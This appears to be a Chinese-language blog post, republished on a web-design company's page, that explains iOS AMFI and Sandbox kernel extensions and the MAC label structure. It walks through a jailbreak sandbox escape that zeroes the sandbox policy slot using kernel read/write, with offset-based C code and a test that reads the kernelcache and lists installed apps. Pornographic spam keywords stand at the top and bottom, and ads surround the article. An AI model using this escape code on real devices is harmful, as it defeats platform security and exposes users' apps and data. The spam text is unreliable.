中文字幕第五页-中文字幕第页-中文字幕韩国-中文字幕最新-国产尤物二区三区在线观看-国产尤物福利视频一区二区

Policy的內核表示方法是什么

這篇文章主要講解了“Policy的內核表示方法是什么”,文中的講解內容簡單清晰,易于學習與理解,下面請大家跟著小編的思路慢慢深入,一起來研究和學習“Policy的內核表示方法是什么”吧!

潼關網站建設公司成都創新互聯,潼關網站設計制作,有大型網站制作公司豐富經驗。已為潼關超過千家提供企業網站建設服務。企業網站搭建\外貿營銷網站建設要多少錢,請找那個售后服務好的潼關做網站的公司定做!

The Sandbox

在 iOS 中有兩個重要的內核擴展,分別是 AppleMobileFileIntegrity.kextSandbox.kext

Apple Mobile File Integrity

根據 The iPhone Wiki 對 AMFI 的定義[1]:

AppleMobileFileIntegrity(.kext), which can go by its full name com.apple.driver.AppleMobileFileIntegrity, is an iOS kernel extension which serves as the corner stone of iOS's code entitlements model. It is one of the Sandbox's (com.apple.security.sandbox) dependencies, along with com.apple.kext.AppleMatch (which, like on OS X, is responsible for parsing the Sandbox language rules).

AMFI.kext 是實現 iOS Code Entitlements 的基礎組件,它和 AppleMatch.kext(用于解析 Sandbox DSL) 都是 Sandbox.kext 的依賴。

可能有人對 Entitlements 并不熟悉,它代表著 App 擁有的權限。在正向開發中,如果我們為 App 開啟 Capability 就會生成對應的 XML Units 插入到 App.entitlements,某些 Capability 只有特定的證書才能生成合法簽名。通過這種手段可以限制 Userland App 的權限,從而保證系統安全。

在運行時,內核擴展會注冊 Mac Policy 并 hook 特定的 Mach Calls[1]:

Affectionately known as AMFI, this kext can be found in the iOS 5.0 iPod 4,1 kernel around 0x805E499C (start) and 0x805E3EE8 (Initialization function). The latter function registers a MAC policy (using the kernel exported mac_policy_register), which is used to hook various system operations and enforce Apple's tight security policy.

根據 Wiki,AMFI 會 hook 需要 task_for_pid-allow 權限的 Mach Call[1]:

This kext recognizes the task_for_pid-allow entitlement (among others) and is responsible for hooking this Mach call, which retrieves the Mach task port associated with a BSD process identifier. Given this port, one can usurp control of the task/PID, reading and writing its memory, debugging, etc. It is therefore enabled only if the binary is digitally signed with a proper entitlement file, specifying task_for_pid-allow.

AMFI.kext 會識別 entitlements 中的 task_for_pid-allow,并 Hook 相關 Mach Call,該 Mach Call 會通過 BSD 進程標識符查詢特定進程的任務端口返回給調用者,使得調用者可以篡改進程的 task 或 PID, 甚至進行目標進程內存的讀寫和調試;而 AMFI.kext 會在調用前檢查調用者的二進制是否擁有包含 task_for_pid-allow 的合法簽名。

Sandbox Kext

Sandbox 的實現與 AMFI.kext 類似,也是通過 Hook 一系列的 Mach Call 并檢查特定的 Policy 來保證訪問的合法性。根據 Dionysus Blazakis 的 Paper: The Apple Sandbox 中的描述[2]:

Once the sandbox is initialized, function calls hooked by the TrustedBSD layer will passthrough Sandbox.kext for policy enforcement. Depending on the system call, the extensionwill consult the list of rules for the current process. Some rules (such as the example givenabove denying access to files under the /opt/sekret path) will require pattern matchingsupport. Sandbox.kext imports functions from AppleMatch.kext to perform regular expression matching on the system call argument and the policy rule that is being checked.For example, does the file being read match the denied path /opt/sekret/.*? The othersmall part of the system is the Mach messages used to carry tracing information (such aswhich operations are being checked) back to userspace for logging.

上述引用主要包含了 3 個關鍵點:

  1. 當 Sandbox 被初始化后,被 TrustedBSD layer 所 Hook 的 Mach Call 會通過 Sandbox.kext 執行權限檢查;

  2. Sandbox.kext 會通過 AppleMatch.kext 解析規則 DSL,并生成 checklist;

  3. 通過 checklist 進行檢查,例如被讀取的 file path 是否在 denied path 列表中等。

Policy 的內核表示

在進程的 proc 結構中有一個 p_ucred 成員用于存儲進程的 Identifier (Process owner's identity. (PUCL)),它相當于進程的 Passport:

struct proc {
    LIST_ENTRY(proc) p_list; /* List of all processes. */

    void * task; /* corresponding task (static)*/
    struct proc *p_pptr; /* Pointer to parent process.(LL) */
    pid_t p_ppid;    
    // ...
    /* substructures: */
    kauth_cred_t p_ucred; /* Process owner's identity. (PUCL) */

PUCL 是一個 ucred 對象:

struct ucred {
    TAILQ_ENTRY(ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */
    u_long cr_ref; /* reference count */
    // ..
    struct label *cr_label; /* MAC label */

其中 cr_label 成員指向了存儲 MAC Policies 的數據結構 label:

struct label {
    int    l_flags;
    union {
        void    *l_ptr;
        long     l_long;
    } l_perpolicy[MAC_MAX_SLOTS];
};

l_perpolicy 數組記錄了 MAC Policy 列表,AMFI 和 Sandbox 的 Policy 都會插入到相應進程的 l_perpolicy 中。

根據 Quarkslab Blogs 中的文章 Modern Jailbreaks' Post-Exploitation,AMFI 和 Sandbox 分別插入到了 0 和 1 位置[3]:

Each l_perpolicy "slot" is used by a particular MACF module, the first one being AMFI and the second one the sandbox. LiberiOS calls ShaiHulud2ProcessAtAddr to put 0 in its second label l_perpolicy[1]. Being the label used by the sandbox (processed in the function sb_evaluate), this move will neutralize it while keeping the label used by AMFI (Apple Mobile File Integrity) l_perpolicy[0] untouched (it's more precise and prevent useful entitlement loss).

即每個 l_perpolicy 插槽都被用于特定的 MACF 模塊,第一個插槽被用于 AMFI,第二個被用于 Sandbox。LiberiOS 通過調用 ShaiHulud2ProcessAtAddr 在不修改第一個插槽的情況下將第二個插槽的指針置 0 來實現更加精準和穩定的沙盒逃逸。

Escape Now

有了 tfp0 和上面的理論基礎,實現沙盒逃逸的路徑變得清晰了起來,我們只需要將當前進程的 l_perpolicy[1] 修改為 0,即可逃出沙盒。

首先讀取到當前進程的 label,路徑為 proc->p_ucred->cr_label,隨后將索引為 1 的 Policy Slot 置 0:

#define KSTRUCT_OFFSET_PROC_UCRED 0xf8
#define KSTRUCT_OFFSET_UCRED_CR_LABEL 0x78

kptr_t swap_sandbox_for_proc(kptr_t proc, kptr_t sandbox) {
    kptr_t ret = KPTR_NULL;
    _assert(KERN_POINTER_VALID(proc));
    kptr_t const ucred = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
    _assert(KERN_POINTER_VALID(ucred));
    kptr_t const cr_label = ReadKernel64(ucred + koffset(KSTRUCT_OFFSET_UCRED_CR_LABEL));
    _assert(KERN_POINTER_VALID(cr_label));
    kptr_t const sandbox_addr = cr_label + 0x8 + 0x8;
    kptr_t const current_sandbox = ReadKernel64(sandbox_addr);
    _assert(WriteKernel64(sandbox_addr, sandbox));
    ret = current_sandbox;
out:;
    return ret;
}

這里說明一下 sandbox_addr 的計算:

kptr_t const sandbox_addr = cr_label + 0x8 + 0x8;

我們再回顧下 label 結構體:

struct label {
    int    l_flags;
    union {
        void    *l_ptr;
        long     l_long;
    } l_perpolicy[MAC_MAX_SLOTS];
};

雖然 l_flags 本身只有 4 字節,但 l_perpolicy 占據了 8n 字節,為了按照最大成員對齊,l_flags 也會占據 8B,因此 cr_label + 8 指向了 l_perpolicy,再偏移 8B 則指向 Sandbox 的 Policy Slot。

通過上述操作我們便能躲過 Sandbox.kext 對進程的沙盒相關檢查,實現沙盒逃逸,接下來無論是通過 C 還是 OC 的 File API 都可以對 rootfs 進行讀寫。在 Undecimus Jailbreak 中以這種方式讀取了 kernelcache 并確定 Kernel Slide 和關鍵偏移量。

我們可以通過簡單實驗驗證沙盒逃逸成功,下面的代碼讀取了 kernelcache 和 Applications 目錄:

NSArray *extractDir(NSString *dirpath) {
    NSError *error = nil;
    NSArray *contents = [[NSFileManager defaultManager] contentsOfDirectoryAtPath:dirpath error:&error];
    if (error) {
        NSLog(@"failed to get application list");
        return nil;
    }
    return contents;
}

void sandbox_escape_test() {
    NSError *error = nil;
    BOOL success = [NSData dataWithContentsOfFile:@"/System/Library/Caches/com.apple.kernelcaches/kernelcache" options:NSDataReadingMappedAlways error:&error];
    if (!success) {
        NSLog(@"error occurred !!! %@", error);
    }

    // list applications dir
    error = nil;
    NSFileManager *mgr = [NSFileManager defaultManager];
    NSString *applicationRoot = @"/var/containers/Bundle/Application/";
    NSArray *uuids = [mgr contentsOfDirectoryAtPath:applicationRoot error:&error];
    if (error) {
        NSLog(@"failed to get application list");
        return;
    }
    for (NSString *uuid in uuids) {
        NSString *appPath = [applicationRoot stringByAppendingPathComponent:uuid];
        NSArray *contents = extractDir(appPath);
        for (NSString *content in contents) {
            if ([content hasSuffix:@".app"]) {
                NSLog(@"find %@ at %@ !!!", content, appPath);
            }
        }
    }
}

感謝各位的閱讀,以上就是“Policy的內核表示方法是什么”的內容了,經過本文的學習后,相信大家對Policy的內核表示方法是什么這一問題有了更深刻的體會,具體使用情況還需要大家實踐驗證。這里是創新互聯,小編將為大家推送更多相關知識點的文章,歡迎關注!

本文標題:Policy的內核表示方法是什么
新聞來源:http://m.2m8n56k.cn/article40/ggdgho.html

成都網站建設公司_創新互聯,為您提供面包屑導航靜態網站、企業建站、網站導航、ChatGPT網站維護

廣告

聲明:本網站發布的內容(圖片、視頻和文字)以用戶投稿、用戶轉載內容為主,如果涉及侵權請盡快告知,我們將會在第一時間刪除。文章觀點不代表本網站立場,如需處理請聯系客服。電話:028-86922220;郵箱:[email protected]。內容未經允許不得轉載,或轉載時需注明來源: 創新互聯

營銷型網站建設
主站蜘蛛池模板: 成人做爰免费网站 | 午夜美女网站 | 欧美成人看片黄a免费看 | 亚洲视频高清 | 高清在线一区二区三区亚洲综合 | 久久99久久精品免费思思6 | 91精品国产综合久久久久 | 免费观看欧美精品成人毛片能看的 | 亚洲成a人v | 久草男人天堂 | 日本免费一区二区三区看片 | 极品美女一级毛片 | 日韩毛片高清在线看 | 成人影院欧美大片免费看 | 欧美在线二区 | 精品久久精品久久 | 国产老鸭窝毛片一区二区 | 中文字幕国产专区 | 国语自产精品视频 | 狠狠色丁香久久婷婷综 | 国产91一区二区在线播放不卡 | 欧美性猛交xxx免费看人妖 | 亚洲男同视频网站 | 国产成人精品免费视频 | 一区二区三区网站在线免费线观看 | 欧美xo影院| 99精品福利视频在线一区 | 国产一区二区不卡 | 精品亚洲福利一区二区 | 国产九区 | 国产午夜精品理论片免费观看 | 欧美综合成人网 | 国产一级成人毛片 | 狠狠色狠狠色综合久久一 | 欧美成人观看免费完全 | 欧美极品第1页专区 | 精品国产欧美另类一区 | 99精品偷自拍| 久久亚洲国产精品一区二区 | 欧美性巨大欧美 | 性生话一级国产片 |